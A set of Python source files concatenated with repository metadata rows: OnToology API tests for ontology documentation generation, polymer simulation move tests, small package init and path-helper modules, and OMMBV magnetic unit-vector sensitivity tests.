[widoco]
enable = False
languages = en,es,it
[oops]
enable = False
[owl2jsonld]
enable = False
"""
f.write(conf_file_content)
f.close()
c = Client()
response = c.post('/api/generate_all', {'url': Repo.objects.all()[0].url},
HTTP_AUTHORIZATION='Token '+self.user.token)
self.assertEqual(response.status_code, 202, msg=response.content)
files_to_check = ['alo.owl/OnToology.cfg',]
docs_files = ['index-en.html', 'ontology.xml', '.htaccess', 'alo.owl.widoco.conf']
diagrams_files = ['ar2dtool-class/alo.owl.png', 'ar2dtool-taxonomy/alo.owl.png']
eval_files = ['oops.html']
# for f in docs_files:
# ff = os.path.join('alo.owl/documentation', f)
# files_to_check.append(ff)
for f in diagrams_files:
ff = os.path.join('alo.owl/diagrams', f)
files_to_check.append(ff)
for f in eval_files:
ff = os.path.join('alo.owl/evaluation', f)
files_to_check.append(ff)
for f in files_to_check:
print os.path.join(resources_dir, f)
self.assertTrue(os.path.exists(os.path.join(resources_dir, f)), msg=(f+" does not exists"))
delete_all_repos_from_db()
# def test_generate_all_check_generated_resources_hash(self):
# import OnToology.settings as settings
# resources_dir = get_repo_resource_dir(os.environ['test_user_email'])
# # The below two assertion is to protect the deletion of important files
# self.assertEqual(resources_dir.split('/')[-1], 'OnToology', msg='might be a wrong resources dir OnToology')
# self.assertIn(os.environ['test_user_email'], resources_dir,
# msg='might be a wrong resources dir or wrong user')
# # print "will delete %s" % resources_dir
# # comm = "rm -Rf %s" % resources_dir
# # print comm
# settings.test_conf['local'] = True
# settings.test_conf['fork'] = True
# settings.test_conf['clone'] = True
# settings.test_conf['push'] = False
# settings.test_conf['pull'] = False
# delete_all_repos_from_db()
# create_repo()
# c = Client()
# response = c.post('/api/generate_all', {'url': Repo.objects.all()[0].url},
# HTTP_AUTHORIZATION='Token ' + self.user.token)
# self.assertEqual(response.status_code, 202, msg=response.content)
#
# files_to_check = ['geolinkeddata.owl/OnToology.cfg', ]
# docs_files = ['doc/index-en.html', 'doc/ontology.xml', '.htaccess', 'geolinkeddata.owl.widoco.conf']
# diagrams_files = ['ar2dtool-class/geolinkeddata.owl.png', 'ar2dtool-taxonomy/geolinkeddata.owl.png']
# eval_files = ['oops.html']
# for f in docs_files:
# ff = os.path.join('geolinkeddata.owl/documentation', f)
# files_to_check.append(ff)
# for f in diagrams_files:
# ff = os.path.join('geolinkeddata.owl/diagrams', f)
# files_to_check.append(ff)
# # Because oops APIs at the moment gives an error for this ontology
# for f in eval_files:
# ff = os.path.join('geolinkeddata.owl/evaluation', f)
# files_to_check.append(ff)
# for f in files_to_check:
# print os.path.join(resources_dir, f)
# self.assertTrue(os.path.exists(os.path.join(resources_dir, f)), msg=(f + " does not exists. This issue is from OOPS!"))
# delete_all_repos_from_db()
def test_doc_multi_lang(self):
import OnToology.settings as settings
resources_dir = get_repo_resource_dir(os.environ['test_user_email'])
print("resources dir: <%s>" % resources_dir)
# The below two assertion is to protect the deletion of important files
self.assertEqual(resources_dir.split('/')[-1], 'OnToology', msg='might be a wrong resources dir OnToology')
self.assertIn(os.environ['test_user_email'], resources_dir, msg='might be a wrong resources dir or wrong user')
# print "will delete %s" % resources_dir
# comm = "rm -Rf %s" % resources_dir
# print comm
settings.test_conf['local'] = True
settings.test_conf['fork'] = False
settings.test_conf['clone'] = False
settings.test_conf['push'] = False
settings.test_conf['pull'] = False
delete_all_repos_from_db()
create_repo(self.url)
# If the setup is not to clone a fresh copy then check if it exists, if not then clone
if settings.test_conf['clone'] is False:
clone_if_not(resources_dir, self.url)
if not os.path.exists(resources_dir):
os.mkdir(resources_dir)
ontology_dir = os.path.join(resources_dir, 'alo.owl')
if os.path.exists(ontology_dir):
shutil.rmtree(ontology_dir)
os.mkdir(ontology_dir)
ontology_dir = os.path.join(resources_dir, 'geolinkeddata.owl')
if os.path.exists(ontology_dir):
shutil.rmtree(ontology_dir)
os.mkdir(ontology_dir)
# inject the configuration file with the multi-lang
f = open(os.path.join(resources_dir, 'alo.owl/OnToology.cfg'), 'w')
conf_file_content="""
[ar2dtool]
enable = False
[widoco]
enable = True
languages = en,es,it
[oops]
enable = False
[owl2jsonld]
enable = False
"""
f.write(conf_file_content)
f.close()
# inject the configuration file with the multi-lang
f = open(os.path.join(resources_dir, 'geolinkeddata.owl/OnToology.cfg'), 'w')
conf_file_content = """
[ar2dtool]
enable = False
[widoco]
enable = True
languages = en,es,it
[oops]
enable = False
[owl2jsonld]
enable = False
"""
f.write(conf_file_content)
f.close()
c = Client()
response = c.post('/api/generate_all', {'url': Repo.objects.all()[0].url},
HTTP_AUTHORIZATION='Token '+self.user.token)
self.assertEqual(response.status_code, 202, msg=response.content)
files_to_check = ['alo.owl/OnToology.cfg', 'geolinkeddata.owl/OnToology.cfg']
docs_files_ = ['index-en.html', 'index-es.html', 'index-it.html', 'ontology.xml']
docs_files_geo = docs_files_
docs_files_alo = docs_files_ + [ 'alo.owl.widoco.conf', '.htaccess']
# docs_files_alo = ['index-en.html', 'index-es.html', 'index-it.html', 'ontology.xml', '.htaccess', 'alo.owl.widoco.conf']
# Until the issue is fixed for Widoco
#docs_files = ['index-en.html', 'ontology.xml', '.htaccess', 'alo.owl.widoco.conf']
for f in docs_files_alo:
ff = os.path.join('alo.owl/documentation', f)
files_to_check.append(ff)
for f in docs_files_geo:
ff = os.path.join('geolinkeddata.owl/documentation/doc', f)
files_to_check.append(ff)
for f in ['.htaccess', 'geolinkeddata.owl.widoco.conf']:
ff = os.path.join('geolinkeddata.owl/documentation', f)
files_to_check.append(ff)
for f in files_to_check:
fdir_to_check = os.path.join(resources_dir, f)
print fdir_to_check
self.assertTrue(os.path.exists(fdir_to_check), msg=(f+" does not exists"))
delete_all_repos_from_db() | 39.555556 | 133 | 0.631019 | 1,319 | 9,968 | 4.588324 | 0.123578 | 0.083278 | 0.036352 | 0.040813 | 0.866821 | 0.846167 | 0.834104 | 0.793291 | 0.778255 | 0.753635 | 0 | 0.004129 | 0.24679 | 9,968 | 252 | 134 | 39.555556 | 0.801945 | 0.305778 | 0 | 0.726708 | 0 | 0 | 0.229905 | 0.056018 | 0 | 0 | 0 | 0 | 0.049689 | 0 | null | null | 0 | 0.074534 | null | null | 0.018634 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
fcc5c8f095fb7fcf0bd592fae6dd43fe3f84c617 | 3,242 | py | Python | tests/test_moves.py | raalesir/sim | 9bd994b1dedd05ca88ab9f25cbca3bc28cadc04b | [
"MIT"
] | null | null | null | tests/test_moves.py | raalesir/sim | 9bd994b1dedd05ca88ab9f25cbca3bc28cadc04b | [
"MIT"
] | null | null | null | tests/test_moves.py | raalesir/sim | 9bd994b1dedd05ca88ab9f25cbca3bc28cadc04b | [
"MIT"
] | null | null | null | """
Testing moves
"""
import pytest
import numpy as np
try:
from sim.sim import moves,consts, cell, polymer
except ModuleNotFoundError:
try:
from sim import moves, cell, consts, polymer
except:
from .sim import moves, cell, consts, polymer
def test_kink_move_pass():
"""
testing kink move
:return: True/False
:rtype: bool
"""
kink = moves.Kink()
kink.coordinates = np.array([[0,0,1], [1,0,0], [0,0,0]])
res = kink.getOutput(1)
assert np.array_equal(res, np.array([[0,1,1], [1,1,0], [0,0,0]]))
def test_kink_move_fail():
"""
testing kink move
:return: True/False
:rtype: bool
"""
kink = moves.Kink()
kink.coordinates = np.array([[0,0,1], [1,0,0], [0,0,0]])
res = kink.getOutput(1)
assert not np.array_equal(res, np.array([[0,0,1], [1,0,0], [0,0,0]]))
def test_crank_move_pass():
"""
checking the crankshaft move
:return: True/False
:rtype: bool
"""
crankshaft = moves.CrankShaft()
crankshaft.coordinates = np.array([[0,0,0,0,0,0],
[0,1,1,2,2,3],
[0,0,1,1,0,0]])
res = crankshaft.crankshaft_move(1,4, consts.rot[:,:,3])
res1 = np.array([[0,0,-1,-1,0,0],
[0,1,1,2,2,3],
[0,0,0,0,0,0]])
assert np.array_equal(res, res1)
def test_crank_move_pass1():
"""
checking the crankshaft move
:return: True/False
:rtype: bool
"""
crankshaft = moves.CrankShaft()
crankshaft.coordinates = np.array([[0, 0, 0, 0, 0, 0],
[0, 1, 1, 2, 2, 3],
[0, 0, 1, 1, 0, 0]])
res = crankshaft.crankshaft_move(0, 5, consts.rot[:, :, 3])
res1 = np.array([[0, 0, -1, -1, 0, 0],
[0, 1, 1, 2, 2, 3],
[0, 0, 0, 0, 0, 0]])
assert np.array_equal(res, res1)
def test_crank_move_pass1():
"""
checking the crankshaft move
:return: True/False
:rtype: bool
"""
crankshaft = moves.CrankShaft()
crankshaft.coordinates = np.array([[0, 0, 0, 0, 0, 0],
[0, 1, 1, 2, 2, 3],
[0, 0, 1, 1, 0, 0]])
res = crankshaft.crankshaft_move(0, 5, consts.rot[:, :, 3])
res1 = np.array([[0, 0, -1, -1, 0, 0],
[0, 1, 1, 2, 2, 3],
[0, 0, 0, 0, 0, 0]])
assert np.array_equal(res, res1)
def test_poolymer_check_borders_fail():
"""
testing ``check_borders``
:return: True/False
:rtype: bool
"""
cell1 = cell.CubicCell(2,2,2)
polymer1 = polymer.Polymer(5, cell1)
polymer1.coords_tmp = np.array([[0, 1,1], [1,1,1], [1,1,2], [1,1,3], [1,1,4]]).T
res = polymer1.check_borders()
assert res == False
def test_poolymer_check_borders_pass():
"""
testing ``check_borders``
:return: True/False
:rtype: bool
"""
cell1 = cell.CubicCell(5,5,5)
polymer1 = polymer.Polymer(5, cell1)
polymer1.coords_tmp = np.array([[1, 1,1], [1,1,2], [1,1,3], [1,2,3], [1,3,3]]).T
res = polymer1.check_borders()
assert res == True
| 22.054422 | 84 | 0.504627 | 465 | 3,242 | 3.43871 | 0.11828 | 0.082552 | 0.076923 | 0.070044 | 0.8793 | 0.849906 | 0.838649 | 0.725453 | 0.725453 | 0.725453 | 0 | 0.095432 | 0.318014 | 3,242 | 146 | 85 | 22.205479 | 0.62777 | 0.1314 | 0 | 0.655738 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.114754 | 1 | 0.114754 | false | 0.081967 | 0.081967 | 0 | 0.196721 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 7 |
1eb9e0775508c04849ca05683fdcbc85e506a9a0 | 91 | py | Python | linora/sample/Dataset/__init__.py | Hourout/linora | 4269516c9227a18bd1a65e1c6a59e73c74e874d0 | [
"Apache-2.0"
] | 10 | 2018-11-22T03:30:39.000Z | 2020-08-20T04:39:35.000Z | linora/sample/Dataset/__init__.py | Hourout/linora | 4269516c9227a18bd1a65e1c6a59e73c74e874d0 | [
"Apache-2.0"
] | null | null | null | linora/sample/Dataset/__init__.py | Hourout/linora | 4269516c9227a18bd1a65e1c6a59e73c74e874d0 | [
"Apache-2.0"
] | 3 | 2019-04-09T12:17:34.000Z | 2020-08-20T04:33:31.000Z | from linora.sample.Dataset._file_no import *
from linora.sample.Dataset._file_yes import *
| 30.333333 | 45 | 0.824176 | 14 | 91 | 5.071429 | 0.571429 | 0.28169 | 0.450704 | 0.647887 | 0.760563 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.087912 | 91 | 2 | 46 | 45.5 | 0.855422 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 8 |
bfb948904faae37d47899a08cbbed334bbbf3765 | 774 | py | Python | pynaoqi-python2.7-2.5.5.5-linux64/lib/python2.7/site-packages/qi/path.py | applejenny66/docker_pepper | 2469cc4db6585161a31ac44c8fcf2605d71318b1 | [
"MIT"
] | null | null | null | pynaoqi-python2.7-2.5.5.5-linux64/lib/python2.7/site-packages/qi/path.py | applejenny66/docker_pepper | 2469cc4db6585161a31ac44c8fcf2605d71318b1 | [
"MIT"
] | null | null | null | pynaoqi-python2.7-2.5.5.5-linux64/lib/python2.7/site-packages/qi/path.py | applejenny66/docker_pepper | 2469cc4db6585161a31ac44c8fcf2605d71318b1 | [
"MIT"
] | null | null | null | from _qi import ( findBin, findLib, findConf, findData, listData, confPaths,
dataPaths, binPaths, libPaths, setWritablePath,
userWritableDataPath, userWritableConfPath,
sdkPrefix, sdkPrefixes, addOptionalSdkPrefix, clearOptionalSdkPrefix,
)
__all__ = [ "findBin",
"findLib",
"findConf",
"findData",
"listData",
"confPaths",
"dataPaths",
"binPaths",
"libPaths",
"setWritablePath",
"userWritableDataPath",
"userWritableConfPath",
"sdkPrefix",
"sdkPrefixes",
"addOptionalSdkPrefix",
"clearOptionalSdkPrefix" ]
| 32.25 | 90 | 0.514212 | 36 | 774 | 10.916667 | 0.555556 | 0.071247 | 0.111959 | 0.152672 | 0.961832 | 0.961832 | 0.961832 | 0.961832 | 0.961832 | 0.961832 | 0 | 0 | 0.397933 | 774 | 23 | 91 | 33.652174 | 0.843348 | 0 | 0 | 0 | 0 | 0 | 0.244186 | 0.028424 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.047619 | 0 | 0.047619 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
bfd925f7635e27f2a3a5509c73e5ee3ba2e70dd1 | 130,365 | py | Python | OMMBV/tests/test_core.py | jklenzing/pysatMagVect | fd7c53e1277ce732edd79e37e825a7060d3067c7 | [
"BSD-3-Clause"
] | null | null | null | OMMBV/tests/test_core.py | jklenzing/pysatMagVect | fd7c53e1277ce732edd79e37e825a7060d3067c7 | [
"BSD-3-Clause"
] | null | null | null | OMMBV/tests/test_core.py | jklenzing/pysatMagVect | fd7c53e1277ce732edd79e37e825a7060d3067c7 | [
"BSD-3-Clause"
] | null | null | null | import itertools
import os
import numpy as np
import matplotlib.pyplot as plt
import pandas as pds
import datetime
import functools
import OMMBV as OMMBV
from OMMBV import igrf
import pysat
# multiprocessing boolean flag
multiproc = False
if multiproc:
# get remote instances
import ipyparallel
print('parallel in')
dc = ipyparallel.Client()
dview = dc[:]
print('parallel out')
else:
# nothing to set
dc = None
dview = None
# Methods to generate data sets used by testing routines.
def gen_data_fixed_alt(alt):
"""Generate grid data between -90 and 90 degrees latitude, almost.
Parameters
----------
alt : float
Fixed altitude to use over longitude latitude grid
Returns
-------
np.array, np.array, np.array
Lats, longs, and altitudes.
Notes
-----
Maximum latitude is 89.999 degrees
"""
# generate test data set
on_travis = os.environ.get('ONTRAVIS') == 'True'
if on_travis:
# reduced resolution on the test server
long_dim = np.arange(0., 361., 180.)
lat_dim = np.arange(-90., 91., 50.)
else:
long_dim = np.arange(0., 361., 20.)
lat_dim = np.arange(-90., 91., 5.)
idx, = np.where(lat_dim == 90.)
lat_dim[idx] = 89.999
idx, = np.where(lat_dim == -90.)
lat_dim[idx] = -89.999
alt_dim = alt
locs = np.array(list(itertools.product(long_dim, lat_dim)))
# pull out lats and longs
lats = locs[:, 1]
longs = locs[:, 0]
alts = longs*0 + alt_dim
return lats, longs, alts
def gen_trace_data_fixed_alt(alt, step_long=80., step_lat=25.):
"""Generate grid data between -50 and 50 degrees latitude.
Parameters
----------
alt : float
Fixed altitude to use over longitude latitude grid
step_long : float (80. degrees)
Step size used when generating longitudes
step_lat : float (25. degrees)
Step size used when generating latitudes
Returns
-------
np.array, np.array, np.array
Lats, longs, and altitudes.
"""
# generate test data set
on_travis = os.environ.get('ONTRAVIS') == 'True'
if on_travis:
# reduced resolution on the test server
long_dim = np.arange(0., 361., 180.)
lat_dim = np.arange(-50., 51., 50.)
else:
long_dim = np.arange(0., 361., step_long)
lat_dim = np.arange(-50., 51., step_lat)
alt_dim = alt
locs = np.array(list(itertools.product(long_dim, lat_dim)))
# pull out lats and longs
lats = locs[:, 1]
longs = locs[:, 0]
alts = longs*0 + alt_dim
return lats, longs, alts
def gen_plot_grid_fixed_alt(alt):
"""Generate dimensional data between -50 and 50 degrees latitude.
Parameters
----------
alt : float
Fixed altitude to use over longitude latitude grid
Returns
-------
np.array, np.array, np.array
Lats, longs, and altitudes.
Note
----
Output is different than routines above.
"""
import os
# generate test data set
on_travis = os.environ.get('ONTRAVIS') == 'True'
if on_travis:
# reduced resolution on the test server
long_dim = np.arange(0., 360., 180.)
lat_dim = np.arange(-50., 51., 50.)
else:
long_dim = np.arange(0., 360., 1*30.)
lat_dim = np.arange(-50., 50.1, 0.25*30)
alt_dim = np.array([alt])
return lat_dim, long_dim, alt_dim
################## UNIT VECTOR TESTS ###############################
class TestUnitVectors():
def __init__(self):
# placeholder for data management features
self.inst = pysat.Instrument('pysat', 'testing')
self.inst.yr = 2010.
self.inst.doy = 1.
self.dview = dview
self.dc = dc
return
def test_unit_vector_step_size_sensitivity(self):
"""Test sensitivity of unit vectors as step_size decreased"""
p_lats, p_longs, p_alts = gen_plot_grid_fixed_alt(550.)
# data returned are the locations along each direction
# the full range of points obtained by iterating over all
# recasting alts into a more convenient form for later calculation
p_alts = [p_alts[0]]*len(p_longs)
# step size to be tried
steps_goal = np.arange(7)
steps_goal = 20. / 2 ** steps_goal
date = datetime.datetime(2000, 1, 1)
dzx = []
dzy = []
dzz = []
dmx = []
dmy = []
dmz = []
# set up multi
if self.dc is not None:
targets = itertools.cycle(dc.ids)
pending = []
steps_out = []
for steps in steps_goal:
out = []
for lat in p_lats:
lats = [lat]*len(p_longs)
# iterate through target cyclicly and run commands
dview.targets = next(targets)
pending.append(dview.apply_async(OMMBV.calculate_mag_drift_unit_vectors_ecef, lats,
p_longs, p_alts, [date]*len(p_longs), step_size=steps))
for lat in p_lats:
# collect output
zx, zy, zz, _, _, _, mx, my, mz = pending.pop(0).get()
pt = {'zx': zx,
'zy': zy,
'zz': zz,
'mx': mx,
'my': my,
'mz': mz}
out.append(pds.DataFrame(pt))
# merge all values for single step size together
out = pds.concat(out)
steps_out.append(out)
for i in np.arange(len(steps_out) - 1):
dzx.append(np.abs(steps_out[i]['zx'].values - steps_out[i + 1]['zx'].values))
dzy.append(np.abs(steps_out[i]['zy'].values - steps_out[i + 1]['zy'].values))
dzz.append(np.abs(steps_out[i]['zz'].values - steps_out[i + 1]['zz'].values))
dmx.append(np.abs(steps_out[i]['mx'].values - steps_out[i + 1]['mx'].values))
dmy.append(np.abs(steps_out[i]['my'].values - steps_out[i + 1]['my'].values))
dmz.append(np.abs(steps_out[i]['mz'].values - steps_out[i + 1]['mz'].values))
else:
steps_out = []
for steps in steps_goal:
out = []
for lat in p_lats:
lats = [lat]*len(p_longs)
zx, zy, zz, _, _, _, mx, my, mz = OMMBV.calculate_mag_drift_unit_vectors_ecef(lats,
p_longs, p_alts,
[date]*len(p_longs),
step_size=steps)
pt = {'zx': zx,
'zy': zy,
'zz': zz,
'mx': mx,
'my': my,
'mz': mz}
out.append(pds.DataFrame(pt))
# merge all values for single step size together
out = pds.concat(out)
steps_out.append(out)
for i in np.arange(len(steps_out) - 1):
dzx.append(np.abs(steps_out[i]['zx'].values - steps_out[i + 1]['zx'].values))
dzy.append(np.abs(steps_out[i]['zy'].values - steps_out[i + 1]['zy'].values))
dzz.append(np.abs(steps_out[i]['zz'].values - steps_out[i + 1]['zz'].values))
dmx.append(np.abs(steps_out[i]['mx'].values - steps_out[i + 1]['mx'].values))
dmy.append(np.abs(steps_out[i]['my'].values - steps_out[i + 1]['my'].values))
dmz.append(np.abs(steps_out[i]['mz'].values - steps_out[i + 1]['mz'].values))
dzx = pds.DataFrame(dzx)
dzy = pds.DataFrame(dzy)
dzz = pds.DataFrame(dzz)
dmx = pds.DataFrame(dmx)
dmy = pds.DataFrame(dmy)
dmz = pds.DataFrame(dmz)
try:
plt.figure()
plt.plot(np.log10(steps_goal[1:]), np.log10(dzx.mean(axis=1)),
label='x')
plt.plot(np.log10(steps_goal[1:]), np.log10(dzy.mean(axis=1)),
label='y')
plt.plot(np.log10(steps_goal[1:]), np.log10(dzz.mean(axis=1)),
label='z')
plt.xlabel('Log Step Size (km)')
plt.ylabel('Change in Vector Component')
plt.title("Change in Zonal Unit Vector (ECEF)")
plt.legend()
plt.tight_layout()
plt.savefig('overall_zonal_diff_vs_step_size.pdf')
plt.close()
plt.figure()
plt.plot(np.log10(steps_goal[1:]), np.log10(dmx.mean(axis=1)),
label='x')
plt.plot(np.log10(steps_goal[1:]), np.log10(dmy.mean(axis=1)),
label='y')
plt.plot(np.log10(steps_goal[1:]), np.log10(dmz.mean(axis=1)),
label='z')
plt.xlabel('Log Step Size (km)')
plt.ylabel('Change in Vector Component')
plt.title("Change in Meridional Unit Vector (ECEF)")
plt.legend()
plt.tight_layout()
plt.savefig('overall_mer_diff_vs_step_size.pdf')
plt.close()
except:
pass
def test_D_vector_step_size_sensitivity(self):
"""Test sensitivity of D vectors as step_size decreased"""
p_lats, p_longs, p_alts = gen_plot_grid_fixed_alt(550.)
# data returned are the locations along each direction
# the full range of points obtained by iterating over all
# recasting alts into a more convenient form for later calculation
p_alts = [p_alts[0]]*len(p_longs)
# step size to be tried
steps_goal = np.arange(7)
steps_goal = 20. / 2 ** steps_goal
date = datetime.datetime(2000, 1, 1)
dzx = []
dzy = []
dzz = []
dmx = []
dmy = []
dmz = []
# set up multi
if self.dc is not None:
targets = itertools.cycle(dc.ids)
pending = []
steps_out = []
for steps in steps_goal:
out = []
for lat in p_lats:
lats = [lat]*len(p_longs)
# iterate through target cyclicly and run commands
dview.targets = next(targets)
pending.append(dview.apply_async(OMMBV.calculate_mag_drift_unit_vectors_ecef, lats,
p_longs, p_alts, [date]*len(p_longs), step_size=steps,
dstep_size=steps, full_output=True))
for lat in p_lats:
# collect output
zx, zy, zz, _, _, _, mx, my, mz, d = pending.pop(0).get()
pt = {'zx': d['d_zon_x'],
'zy': d['d_zon_y'],
'zz': d['d_zon_z'],
'mx': d['d_mer_x'],
'my': d['d_mer_y'],
'mz': d['d_mer_z']}
out.append(pds.DataFrame(pt))
# merge all values for single step size together
out = pds.concat(out)
steps_out.append(out)
for i in np.arange(len(steps_out) - 1):
dzx.append(np.abs(steps_out[i]['zx'].values - steps_out[i + 1]['zx'].values))
dzy.append(np.abs(steps_out[i]['zy'].values - steps_out[i + 1]['zy'].values))
dzz.append(np.abs(steps_out[i]['zz'].values - steps_out[i + 1]['zz'].values))
dmx.append(np.abs(steps_out[i]['mx'].values - steps_out[i + 1]['mx'].values))
dmy.append(np.abs(steps_out[i]['my'].values - steps_out[i + 1]['my'].values))
dmz.append(np.abs(steps_out[i]['mz'].values - steps_out[i + 1]['mz'].values))
else:
steps_out = []
for steps in steps_goal:
out = []
for lat in p_lats:
lats = [lat]*len(p_longs)
zx, zy, zz, _, _, _, mx, my, mz, d = OMMBV.calculate_mag_drift_unit_vectors_ecef(lats,
p_longs, p_alts,
[date]*len(p_longs),
step_size=steps,
dstep_size=steps,
full_output=True)
pt = {'zx': d['d_zon_x'],
'zy': d['d_zon_y'],
'zz': d['d_zon_z'],
'mx': d['d_mer_x'],
'my': d['d_mer_y'],
'mz': d['d_mer_z']}
out.append(pds.DataFrame(pt))
# merge all values for single step size together
out = pds.concat(out)
steps_out.append(out)
for i in np.arange(len(steps_out) - 1):
dzx.append(np.abs(steps_out[i]['zx'].values - steps_out[i + 1]['zx'].values))
dzy.append(np.abs(steps_out[i]['zy'].values - steps_out[i + 1]['zy'].values))
dzz.append(np.abs(steps_out[i]['zz'].values - steps_out[i + 1]['zz'].values))
dmx.append(np.abs(steps_out[i]['mx'].values - steps_out[i + 1]['mx'].values))
dmy.append(np.abs(steps_out[i]['my'].values - steps_out[i + 1]['my'].values))
dmz.append(np.abs(steps_out[i]['mz'].values - steps_out[i + 1]['mz'].values))
dzx = pds.DataFrame(dzx)
dzy = pds.DataFrame(dzy)
dzz = pds.DataFrame(dzz)
dmx = pds.DataFrame(dmx)
dmy = pds.DataFrame(dmy)
dmz = pds.DataFrame(dmz)
try:
plt.figure()
plt.plot(np.log10(steps_goal[1:]), np.log10(dzx.mean(axis=1)),
label='x')
plt.plot(np.log10(steps_goal[1:]), np.log10(dzy.mean(axis=1)),
label='y')
plt.plot(np.log10(steps_goal[1:]), np.log10(dzz.mean(axis=1)),
label='z')
plt.xlabel('Log Step Size (km)')
plt.ylabel('Change in D Vector Component')
plt.title("Change in D Zonal Vector (ECEF)")
plt.legend()
plt.tight_layout()
plt.savefig('overall_D_zonal_diff_vs_step_size.pdf')
plt.close()
plt.figure()
plt.plot(np.log10(steps_goal[1:]), np.log10(dmx.mean(axis=1)),
label='x')
plt.plot(np.log10(steps_goal[1:]), np.log10(dmy.mean(axis=1)),
label='y')
plt.plot(np.log10(steps_goal[1:]), np.log10(dmz.mean(axis=1)),
label='z')
plt.xlabel('Log Step Size (km)')
plt.ylabel('Change in Vector Component')
plt.title("Change in Meridional D Vector (ECEF)")
plt.legend()
plt.tight_layout()
plt.savefig('overall_D_mer_diff_vs_step_size.pdf')
plt.close()
except:
pass
def test_E_vector_step_size_sensitivity(self):
"""Test sensitivity of E vectors as step_size decreased"""
p_lats, p_longs, p_alts = gen_plot_grid_fixed_alt(550.)
# data returned are the locations along each direction
# the full range of points obtained by iterating over all
# recasting alts into a more convenient form for later calculation
p_alts = [p_alts[0]]*len(p_longs)
# step size to be tried
steps_goal = np.arange(7)
steps_goal = 20. / 2 ** steps_goal
date = datetime.datetime(2000, 1, 1)
dzx = []
dzy = []
dzz = []
dmx = []
dmy = []
dmz = []
# set up multi
if self.dc is not None:
targets = itertools.cycle(dc.ids)
pending = []
steps_out = []
for steps in steps_goal:
out = []
for lat in p_lats:
lats = [lat]*len(p_longs)
# iterate through target cyclicly and run commands
dview.targets = next(targets)
pending.append(dview.apply_async(OMMBV.calculate_mag_drift_unit_vectors_ecef, lats,
p_longs, p_alts, [date]*len(p_longs), step_size=steps,
dstep_size=steps, full_output=True))
for lat in p_lats:
# collect output
zx, zy, zz, _, _, _, mx, my, mz, d = pending.pop(0).get()
pt = {'zx': d['e_zon_x'],
'zy': d['e_zon_y'],
'zz': d['e_zon_z'],
'mx': d['e_mer_x'],
'my': d['e_mer_y'],
'mz': d['e_mer_z']}
out.append(pds.DataFrame(pt))
# merge all values for single step size together
out = pds.concat(out)
steps_out.append(out)
for i in np.arange(len(steps_out) - 1):
dzx.append(np.abs(steps_out[i]['zx'].values - steps_out[i + 1]['zx'].values))
dzy.append(np.abs(steps_out[i]['zy'].values - steps_out[i + 1]['zy'].values))
dzz.append(np.abs(steps_out[i]['zz'].values - steps_out[i + 1]['zz'].values))
dmx.append(np.abs(steps_out[i]['mx'].values - steps_out[i + 1]['mx'].values))
dmy.append(np.abs(steps_out[i]['my'].values - steps_out[i + 1]['my'].values))
dmz.append(np.abs(steps_out[i]['mz'].values - steps_out[i + 1]['mz'].values))
else:
steps_out = []
for steps in steps_goal:
out = []
for lat in p_lats:
lats = [lat]*len(p_longs)
zx, zy, zz, _, _, _, mx, my, mz, d = OMMBV.calculate_mag_drift_unit_vectors_ecef(lats,
p_longs, p_alts,
[date]*len(p_longs),
step_size=steps,
dstep_size=steps,
full_output=True)
pt = {'zx': d['e_zon_x'],
'zy': d['e_zon_y'],
'zz': d['e_zon_z'],
'mx': d['e_mer_x'],
'my': d['e_mer_y'],
'mz': d['e_mer_z']}
out.append(pds.DataFrame(pt))
# merge all values for single step size together
out = pds.concat(out)
steps_out.append(out)
for i in np.arange(len(steps_out) - 1):
dzx.append(np.abs(steps_out[i]['zx'].values - steps_out[i + 1]['zx'].values))
dzy.append(np.abs(steps_out[i]['zy'].values - steps_out[i + 1]['zy'].values))
dzz.append(np.abs(steps_out[i]['zz'].values - steps_out[i + 1]['zz'].values))
dmx.append(np.abs(steps_out[i]['mx'].values - steps_out[i + 1]['mx'].values))
dmy.append(np.abs(steps_out[i]['my'].values - steps_out[i + 1]['my'].values))
dmz.append(np.abs(steps_out[i]['mz'].values - steps_out[i + 1]['mz'].values))
dzx = pds.DataFrame(dzx)
dzy = pds.DataFrame(dzy)
dzz = pds.DataFrame(dzz)
dmx = pds.DataFrame(dmx)
dmy = pds.DataFrame(dmy)
dmz = pds.DataFrame(dmz)
try:
plt.figure()
plt.plot(np.log10(steps_goal[1:]), np.log10(dzx.mean(axis=1)),
label='x')
plt.plot(np.log10(steps_goal[1:]), np.log10(dzy.mean(axis=1)),
label='y')
plt.plot(np.log10(steps_goal[1:]), np.log10(dzz.mean(axis=1)),
label='z')
plt.xlabel('Log Step Size (km)')
plt.ylabel('Change in E Vector Component')
plt.title("Change in E Zonal Vector (ECEF)")
plt.legend()
plt.tight_layout()
plt.savefig('overall_E_zonal_diff_vs_step_size.pdf')
plt.close()
plt.figure()
plt.plot(np.log10(steps_goal[1:]), np.log10(dmx.mean(axis=1)),
label='x')
plt.plot(np.log10(steps_goal[1:]), np.log10(dmy.mean(axis=1)),
label='y')
